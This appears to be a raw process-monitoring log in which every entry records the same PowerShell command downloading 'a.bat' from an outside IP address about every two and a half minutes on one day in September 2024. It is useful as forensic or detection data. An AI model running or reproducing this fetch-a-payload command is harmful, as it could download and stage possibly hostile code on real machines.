NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:59:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:01:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:04:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:06:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:09:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:12:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:14:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:17:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:19:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:22:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:24:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:27:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:29:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:32:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:34:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:37:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:39:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:42:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:44:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:47:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:49:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:52:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:54:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:57:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 13:59:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:02:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:04:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:07:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:10:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:12:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:15:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:17:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:20:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:22:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:25:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:27:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:30:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:32:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:35:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:37:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:40:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:42:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:45:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:47:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:50:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:52:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:55:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 14:57:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:00:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:02:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:05:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:07:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:10:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:13:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:15:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:18:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:20:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:23:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:25:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:28:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:30:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:33:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:35:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:38:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:40:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:43:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:45:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:48:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:50:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:55:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 15:58:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:00:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:05:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:08:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:11:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:16:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:18:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:21:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:23:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:26:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:28:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:31:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:33:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:36:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:38:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:41:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:46:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:48:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:51:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:56:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 16:58:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:01:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:03:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:06:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:09:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:11:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:14:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:16:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:19:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:21:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:24:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:26:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:29:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:31:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:34:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:36:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:39:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:44:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:46:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:49:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:51:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:54:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:56:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 17:59:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:01:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:04:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:07:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:09:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:12:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:14:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:17:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:19:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:22:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:24:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:27:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:29:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:34:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:37:20 NOTIFY: PROCESS 